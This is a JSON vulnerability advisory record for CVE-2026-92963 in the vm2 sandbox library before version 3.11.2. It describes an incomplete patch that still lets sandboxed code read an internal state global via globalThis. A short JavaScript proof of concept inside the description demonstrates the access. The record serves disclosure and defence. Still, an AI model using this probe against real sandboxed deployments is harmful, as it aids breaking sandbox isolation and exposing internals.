{"id":"CVE-2026-92963","aliases":["CVE-2026-92963","GHSA-2cm2-m3w5-gp2f"],"related":[],"kind":"vulnerability","state":"published","title":"vm2 before 3.11.2 Information Disclosure via Internal State","summary":"vm2 versions before 3.11.2 fail to properly restrict access to the VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL global variable. Attackers can access this internal state object through globalThis to retrieve sensitive sandbox internals.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"vm2 versions before 3.11.2 fail to properly restrict access to the VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL global variable. Attackers can access this internal state object through globalThis to retrieve sensitive sandbox internals.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nhttps://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7 is not fully patched.\n\n### Details\n\nIt is still possible to get access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL`.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\n globalThis['VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL']\n`));\n```","format":"markdown","source":"ghsa"}],"published":"2026-05-08T16:22:52.000Z","modified":"2026-11-05T22:00:04.119Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-227","CWE-693"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"3.11.2","status":"affected"},{"type":"semver","version":"3.11.2","status":"unaffected"}],"vendor":"patriksimek","product":"vm2","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.11.2"}],"ecosystem":"npm","package":"vm2","purl":"pkg:npm/vm2","source":"ghsa"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-2cm2-m3w5-gp2f","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/vm2-before-3.11.2-information-disclosure-via-internal-state","tags":["third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://github.com/patriksimek/vm2/commit/99d410bb7e0d607c56e68b420720a586dc0dd300","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.2","tags":["web"],"sources":["ghsa"]}],"credits":["XmiliaH"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-09-18T19:15:22.911Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-92963","url":"https://www.cve.org/CVERecord?id=CVE-2026-92963","licence":"CVE Terms of Use","modified":"2026-09-18T19:15:28.242Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2cm2-m3w5-gp2f","url":"https://github.com/advisories/GHSA-2cm2-m3w5-gp2f","licence":"CC-BY-4.0","modified":"2026-11-05T22:00:04.119Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-92963","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92963","licence":"Public domain","modified":"2026-09-18T20:17:31.370Z"}],"updatedAt":"2026-11-25T22:59:39.256Z","epss":{"score":0.00257,"percentile":0.18488,"date":"2026-12-01T12:00:22.000Z"}}